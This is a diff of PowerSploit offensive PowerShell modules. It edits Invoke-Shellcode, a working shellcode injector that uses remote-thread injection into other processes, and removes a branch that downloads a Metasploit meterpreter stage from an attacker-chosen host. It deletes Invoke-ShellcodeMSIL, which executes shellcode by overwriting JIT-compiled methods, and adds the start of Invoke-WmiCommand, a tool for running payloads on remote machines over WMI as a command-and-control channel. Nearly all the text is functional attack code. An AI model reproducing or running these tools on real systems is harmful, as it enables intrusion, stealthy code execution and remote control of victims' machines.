||||
# Open a handle to the process you want to inject into
|
||||
$hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF)
|
||||
|
||||
|
||||
if (!$hProcess)
|
||||
{
|
||||
Throw "Unable to open a process handle for PID: $ProcessID"
|
||||
@@ -319,14 +198,14 @@ http://www.exploit-monday.com
|
||||
|
||||
$IsWow64 = $false
|
||||
|
||||
if ($64bitCPU) # Only perform theses checks if CPU is 64-bit
|
||||
if ($64bitOS) # Only perform theses checks if CPU is 64-bit
|
||||
{
|
||||
# Determine is the process specified is 32 or 64 bit
|
||||
# Determine if the process specified is 32 or 64 bit
|
||||
$IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null
|
||||
|
||||
|
||||
if ((!$IsWow64) -and $PowerShell32bit)
|
||||
{
|
||||
Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.'
|
||||
Throw 'Shellcode injection targeting a 64-bit process from 32-bit PowerShell is not supported. Use the 64-bit version of Powershell if you want this to work.'
|
||||
}
|
||||
elseif ($IsWow64) # 32-bit Wow64 process
|
||||
{
|
||||
@@ -334,7 +213,7 @@ http://www.exploit-monday.com
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Injecting into a Wow64 process.'
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
@@ -345,7 +224,7 @@ http://www.exploit-monday.com
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
}
|
||||
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
@@ -356,19 +235,19 @@ http://www.exploit-monday.com
|
||||
{
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
}
|
||||
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
|
||||
# Reserve and commit enough memory in remote process to hold the shellcode
|
||||
$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
|
||||
if (!$RemoteMemAddr)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode into the previously allocated memory
|
||||
@@ -381,25 +260,25 @@ http://www.exploit-monday.com
|
||||
{
|
||||
# Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32
|
||||
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
# Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread.
|
||||
$CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64
|
||||
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
# Allocate inline assembly stub
|
||||
$RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
|
||||
|
||||
if (!$RemoteStubAddr)
|
||||
{
|
||||
Throw "Unable to allocate thread call stub memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Write 32-bit assembly stub to remote process memory space
|
||||
@@ -407,7 +286,7 @@ http://www.exploit-monday.com
|
||||
|
||||
# Execute shellcode as a remote thread
|
||||
$ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero)
|
||||
|
||||
|
||||
if (!$ThreadHandle)
|
||||
{
|
||||
Throw "Unable to launch remote thread in PID: $ProcessID"
|
||||
@@ -427,7 +306,7 @@ http://www.exploit-monday.com
|
||||
Throw 'No shellcode was placed in the $Shellcode32 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
$Shellcode = $Shellcode32
|
||||
Write-Verbose 'Using 32-bit shellcode.'
|
||||
}
|
||||
@@ -438,36 +317,36 @@ http://www.exploit-monday.com
|
||||
Throw 'No shellcode was placed in the $Shellcode64 variable!'
|
||||
return
|
||||
}
|
||||
|
||||
|
||||
$Shellcode = $Shellcode64
|
||||
Write-Verbose 'Using 64-bit shellcode.'
|
||||
}
|
||||
|
||||
|
||||
# Allocate RWX memory for the shellcode
|
||||
$BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX)
|
||||
if (!$BaseAddress)
|
||||
{
|
||||
Throw "Unable to allocate shellcode memory in PID: $ProcessID"
|
||||
}
|
||||
|
||||
|
||||
Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy shellcode to RWX buffer
|
||||
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length)
|
||||
|
||||
|
||||
# Get address of ExitThread function
|
||||
$ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread
|
||||
|
||||
|
||||
if ($PowerShell32bit)
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32
|
||||
|
||||
|
||||
Write-Verbose 'Emitting 32-bit assembly call stub.'
|
||||
}
|
||||
else
|
||||
{
|
||||
$CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64
|
||||
|
||||
|
||||
Write-Verbose 'Emitting 64-bit assembly call stub.'
|
||||
}
|
||||
|
||||
@@ -477,7 +356,7 @@ http://www.exploit-monday.com
|
||||
{
|
||||
Throw "Unable to allocate thread call stub."
|
||||
}
|
||||
|
||||
|
||||
Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
|
||||
# Copy call stub to RWX buffer
|
||||
@@ -492,7 +371,7 @@ http://www.exploit-monday.com
|
||||
|
||||
# Wait for shellcode thread to terminate
|
||||
$WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null
|
||||
|
||||
|
||||
$VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
$VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000)
|
||||
|
||||
@@ -501,16 +380,30 @@ http://www.exploit-monday.com
|
||||
|
||||
# A valid pointer to IsWow64Process will be returned if CPU is 64-bit
|
||||
$IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process
|
||||
if ($IsWow64ProcessAddr)
|
||||
{
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
|
||||
$64bitCPU = $true
|
||||
|
||||
$AddressWidth = $null
|
||||
|
||||
try {
|
||||
$AddressWidth = @(Get-WmiObject -Query 'SELECT AddressWidth FROM Win32_Processor')[0] | Select-Object -ExpandProperty AddressWidth
|
||||
} catch {
|
||||
throw 'Unable to determine OS processor address width.'
|
||||
}
|
||||
else
|
||||
{
|
||||
$64bitCPU = $false
|
||||
|
||||
switch ($AddressWidth) {
|
||||
'32' {
|
||||
$64bitOS = $False
|
||||
}
|
||||
|
||||
'64' {
|
||||
$64bitOS = $True
|
||||
|
||||
$IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
|
||||
$IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
|
||||
}
|
||||
|
||||
default {
|
||||
throw 'Invalid OS address width detected.'
|
||||
}
|
||||
}
|
||||
|
||||
if ([IntPtr]::Size -eq 4)
|
||||
@@ -522,94 +415,7 @@ http://www.exploit-monday.com
|
||||
$PowerShell32bit = $false
|
||||
}
|
||||
|
||||
if ($PsCmdlet.ParameterSetName -eq 'Metasploit')
|
||||
{
|
||||
if (!$PowerShell32bit) {
|
||||
# The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell
|
||||
# Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function
|
||||
|
||||
# Pull out just the content of the this script's invocation.
|
||||
$RootInvocation = $MyInvocation.Line
|
||||
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?",
|
||||
"Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
# Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt.
|
||||
if ($MyInvocation.BoundParameters['Force'])
|
||||
{
|
||||
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation"
|
||||
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n"
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force"
|
||||
$Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n"
|
||||
}
|
||||
|
||||
$CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command)
|
||||
$EncodedCommand = [Convert]::ToBase64String($CommandBytes)
|
||||
|
||||
$Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -"
|
||||
Invoke-Expression -Command $Execute | Out-Null
|
||||
|
||||
# Exit the script since the shellcode will be running from x86 PowerShell
|
||||
Return
|
||||
}
|
||||
|
||||
$Response = $True
|
||||
|
||||
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?",
|
||||
"About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { }
|
||||
|
||||
if ( !$Response )
|
||||
{
|
||||
# User opted not to carry out download of Metasploit payload. Exit function
|
||||
Return
|
||||
}
|
||||
|
||||
switch ($Payload)
|
||||
{
|
||||
'windows/meterpreter/reverse_http'
|
||||
{
|
||||
$SSL = ''
|
||||
}
|
||||
|
||||
'windows/meterpreter/reverse_https'
|
||||
{
|
||||
$SSL = 's'
|
||||
# Accept invalid certificates
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
|
||||
}
|
||||
}
|
||||
|
||||
# Meterpreter expects 'INITM' in the URI in order to initiate stage 0. Awesome authentication, huh?
|
||||
$Request = "http$($SSL)://$($Lhost):$($Lport)/INITM"
|
||||
Write-Verbose "Requesting meterpreter payload from $Request"
|
||||
|
||||
$Uri = New-Object Uri($Request)
|
||||
$WebClient = New-Object System.Net.WebClient
|
||||
$WebClient.Headers.Add('user-agent', "$UserAgent")
|
||||
|
||||
try
|
||||
{
|
||||
[Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri)
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "$($Error[0].Exception.InnerException.InnerException.Message)"
|
||||
}
|
||||
[Byte[]] $Shellcode64 = $Shellcode32
|
||||
|
||||
}
|
||||
elseif ($PSBoundParameters['Shellcode'])
|
||||
if ($PSBoundParameters['Shellcode'])
|
||||
{
|
||||
# Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets
|
||||
# the correct architechture - x86 vs. x64. This script has no way to validate what you provide it.
|
||||
@@ -676,9 +482,9 @@ http://www.exploit-monday.com
|
||||
$CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
|
||||
$CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
|
||||
$CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
|
||||
|
||||
|
||||
Write-Verbose "Injecting shellcode into PID: $ProcessId"
|
||||
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) )
|
||||
{
|
||||
@@ -700,14 +506,13 @@ http://www.exploit-monday.com
|
||||
$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
|
||||
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [Int32]) ([Int])
|
||||
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)
|
||||
|
||||
|
||||
Write-Verbose "Injecting shellcode into PowerShell"
|
||||
|
||||
|
||||
if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?',
|
||||
"Injecting shellcode into the running PowerShell process!" ) )
|
||||
{
|
||||
Inject-LocalShellcode
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,267 +0,0 @@
|
||||
function Invoke-ShellcodeMSIL
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
|
||||
|
||||
PowerSploit Function: Invoke-ShellcodeMSIL
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions.
|
||||
|
||||
.PARAMETER Shellcode
|
||||
|
||||
Specifies the shellcode to be executed.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
|
||||
|
||||
Description
|
||||
-----------
|
||||
Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
|
||||
Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
|
||||
|
||||
.NOTES
|
||||
|
||||
Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!
|
||||
|
||||
Use the '-Verbose' option to print detailed information.
|
||||
|
||||
.LINK
|
||||
|
||||
http://www.exploit-monday.com
|
||||
#>
|
||||
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter( Mandatory = $True )]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Byte[]]
|
||||
$Shellcode
|
||||
)
|
||||
|
||||
function Get-MethodAddress
|
||||
{
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
|
||||
[System.Reflection.MethodInfo]
|
||||
$MethodInfo
|
||||
)
|
||||
|
||||
if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
|
||||
{
|
||||
Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
|
||||
}
|
||||
|
||||
try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
|
||||
{
|
||||
if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] }
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
|
||||
# Assemble in memory
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
|
||||
# Declaration of the LeakMethod method
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null)
|
||||
$Generator = $MethodBuilder.GetILGenerator()
|
||||
|
||||
# Push unmanaged pointer to MethodInfo onto the evaluation stack
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
|
||||
|
||||
# Assemble everything
|
||||
$Type = $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
$Method = $Type.GetMethod('LeakMethod')
|
||||
|
||||
try
|
||||
{
|
||||
# Call the method and return its JITed address
|
||||
$Address = $Method.Invoke($null, @())
|
||||
|
||||
Write-Output (New-Object IntPtr -ArgumentList $Address)
|
||||
}
|
||||
catch [System.Management.Automation.MethodInvocationException]
|
||||
{
|
||||
Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
|
||||
}
|
||||
}
|
||||
|
||||
#region Define the method that will perform the overwrite
|
||||
try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
|
||||
{
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
|
||||
$Constructor = $Att.GetType().GetConstructors()[0]
|
||||
$ObjectArray = New-Object System.Object[](0)
|
||||
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
|
||||
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher')
|
||||
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
|
||||
$Constructor = $ModAtt.GetType().GetConstructors()[0]
|
||||
$ObjectArray = New-Object System.Object[](0)
|
||||
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
|
||||
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public)
|
||||
$Params = New-Object System.Type[](3)
|
||||
$Params[0] = [IntPtr]
|
||||
$Params[1] = [IntPtr]
|
||||
$Params[2] = [Int32]
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params)
|
||||
$Generator = $MethodBuilder.GetILGenerator()
|
||||
# The following MSIL opcodes are effectively a memcpy
|
||||
# arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
|
||||
|
||||
$SmasherType = $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
$OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod')
|
||||
#endregion
|
||||
|
||||
#region Define the method that we're going to overwrite
|
||||
try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
|
||||
{
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
|
||||
$Constructor = $Att.GetType().GetConstructors()[0]
|
||||
$ObjectArray = New-Object System.Object[](0)
|
||||
$AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
|
||||
$AssemblyBuilder.SetCustomAttribute($AttribBuilder)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe')
|
||||
$ModAtt = New-Object System.Security.UnverifiableCodeAttribute
|
||||
$Constructor = $ModAtt.GetType().GetConstructors()[0]
|
||||
$ObjectArray = New-Object System.Object[](0)
|
||||
$ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
|
||||
$ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public)
|
||||
$Params = New-Object System.Type[](1)
|
||||
$Params[0] = [Int]
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params)
|
||||
$Generator = $MethodBuilder.GetILGenerator()
|
||||
$XorValue = 0x41424344
|
||||
$Generator.DeclareLocal([Int]) | Out-Null
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
|
||||
# The following MSIL opcodes serve two purposes:
|
||||
# 1) Serves as a dummy XOR function to take up space in memory when it gets jitted
|
||||
# 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode.
|
||||
foreach ($CodeBlock in 1..100)
|
||||
{
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0)
|
||||
$XorValue++
|
||||
}
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
|
||||
$Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
|
||||
$Type = $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
$TargetMethod = $Type.GetMethod('OverwriteMe')
|
||||
#endregion
|
||||
|
||||
# Force the target method to be JITed so that is can be cleanly overwritten
|
||||
Write-Verbose 'Forcing target method to be JITed...'
|
||||
|
||||
foreach ($Exec in 1..20)
|
||||
{
|
||||
$TargetMethod.Invoke($null, @(0x11112222)) | Out-Null
|
||||
}
|
||||
|
||||
if ( [IntPtr]::Size -eq 4 )
|
||||
{
|
||||
# x86 Shellcode stub
|
||||
$FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
|
||||
<#
|
||||
00000000 60 pushad
|
||||
00000001 E804000000 call dword 0xa
|
||||
00000006 61 popad
|
||||
00000007 31C0 xor eax,eax
|
||||
00000009 C3 ret
|
||||
YOUR SHELLCODE WILL BE PLACED HERE...
|
||||
#>
|
||||
|
||||
Write-Verbose 'Preparing x86 shellcode...'
|
||||
}
|
||||
else
|
||||
{
|
||||
# x86_64 shellcode stub
|
||||
$FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,
|
||||
0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,
|
||||
0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,
|
||||
0x31,0xC0,0xC3)
|
||||
<#
|
||||
00000000 4154 push r12
|
||||
00000002 4155 push r13
|
||||
00000004 4156 push r14
|
||||
00000006 4157 push r15
|
||||
00000008 55 push rbp
|
||||
00000009 E80D000000 call dword 0x1b
|
||||
0000000E 5D pop rbp
|
||||
0000000F 415F pop r15
|
||||
00000011 415E pop r14
|
||||
00000013 415D pop r13
|
||||
00000015 415C pop r12
|
||||
00000017 4831C0 xor rax,rax
|
||||
0000001A C3 ret
|
||||
YOUR SHELLCODE WILL BE PLACED HERE...
|
||||
#>
|
||||
|
||||
Write-Verbose 'Preparing x86_64 shellcode...'
|
||||
}
|
||||
|
||||
# Append user-provided shellcode.
|
||||
$FinalShellcode += $Shellcode
|
||||
|
||||
# Allocate pinned memory for our shellcode
|
||||
$ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length)
|
||||
|
||||
Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))."
|
||||
|
||||
# Copy the original shellcode bytes into the pinned, unmanaged memory.
|
||||
# Note: this region of memory if marked PAGE_READWRITE
|
||||
[Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length)
|
||||
|
||||
$TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod)
|
||||
|
||||
Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))"
|
||||
Write-Verbose 'Overwriting dummy method with the shellcode...'
|
||||
|
||||
$Arguments = New-Object Object[](3)
|
||||
$Arguments[0] = $TargetMethodAddress
|
||||
$Arguments[1] = $ShellcodeAddress
|
||||
$Arguments[2] = $FinalShellcode.Length
|
||||
|
||||
# Overwrite the dummy method with the shellcode opcodes
|
||||
$OverwriteMethod.Invoke($null, $Arguments)
|
||||
|
||||
Write-Verbose 'Executing shellcode...'
|
||||
|
||||
# 'Invoke' our shellcode >D
|
||||
$ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
|
||||
|
||||
if ($ShellcodeReturnValue -eq 0)
|
||||
{
|
||||
Write-Verbose 'Shellcode executed successfully!'
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,362 @@
|
||||
function Invoke-WmiCommand {
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Executes a PowerShell ScriptBlock on a target computer using WMI as a
|
||||
pure C2 channel.
|
||||
|
||||
Author: Matthew Graeber
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
|
||||
computer using WMI as a pure C2 channel. It does this by using the
|
||||
StdRegProv WMI registry provider methods to store a payload into a
|
||||
registry value. The command is then executed on the victim system and
|
||||
the output is stored in another registry value that is then retrieved
|
||||
remotely.
|
||||
|
||||
.PARAMETER Payload
|
||||
|
||||
Specifies the payload to be executed on the remote system.
|
||||
|
||||
.PARAMETER RegistryKeyPath
|
||||
|
||||
Specifies the registry key where the payload and payload output will
|
||||
be stored.
|
||||
|
||||
.PARAMETER RegistryPayloadValueName
|
||||
|
||||
Specifies the registry value name where the payload will be stored.
|
||||
|
||||
.PARAMETER RegistryResultValueName
|
||||
|
||||
Specifies the registry value name where the payload output will be
|
||||
stored.
|
||||
|
||||
.PARAMETER ComputerName
|
||||
|
||||
Runs the command on the specified computers. The default is the local
|
||||
computer.
|
||||
|
||||
Type the NetBIOS name, an IP address, or a fully qualified domain
|
||||
name of one or more computers. To specify the local computer, type
|
||||
the computer name, a dot (.), or "localhost".
|
||||
|
||||
This parameter does not rely on Windows PowerShell remoting. You can
|
||||
use the ComputerName parameter even if your computer is not
|
||||
configured to run remote commands.
|
||||
|
||||
.PARAMETER Credential
|
||||
|
||||
Specifies a user account that has permission to perform this action.
|
||||
The default is the current user. Type a user name, such as "User01",
|
||||
"Domain01\User01", or User@Contoso.com. Or, enter a PSCredential
|
||||
object, such as an object that is returned by the Get-Credential
|
||||
cmdlet. When you type a user name, you will be prompted for a
|
||||
password.
|
||||
|
||||
.PARAMETER Impersonation
|
||||
|
||||
Specifies the impersonation level to use. Valid values are:
|
||||
|
||||
0: Default (Reads the local registry for the default impersonation level, which is usually set to "3: Impersonate".)
|
||||
|
||||
1: Anonymous (Hides the credentials of the caller.)
|
||||
|
||||
2: Identify (Allows objects to query the credentials of the caller.)
|
||||
|
||||
3: Impersonate (Allows objects to use the credentials of the caller.)
|
||||
|
||||
4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)
|
||||
|
||||
.PARAMETER Authentication
|
||||
|
||||
Specifies the authentication level to be used with the WMI connection. Valid values are:
|
||||
|
||||
-1: Unchanged
|
||||
|
||||
0: Default
|
||||
|
||||
1: None (No authentication in performed.)
|
||||
|
||||
2: Connect (Authentication is performed only when the client establishes a relationship with the application.)
|
||||
|
||||
3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)
|
||||
|
||||
4: Packet (Authentication is performed on all the data that is received from the client.)
|
||||
|
||||
5: PacketIntegrity (All the data that is transferred between the client and the application is authenticated and verified.)
|
||||
|
||||
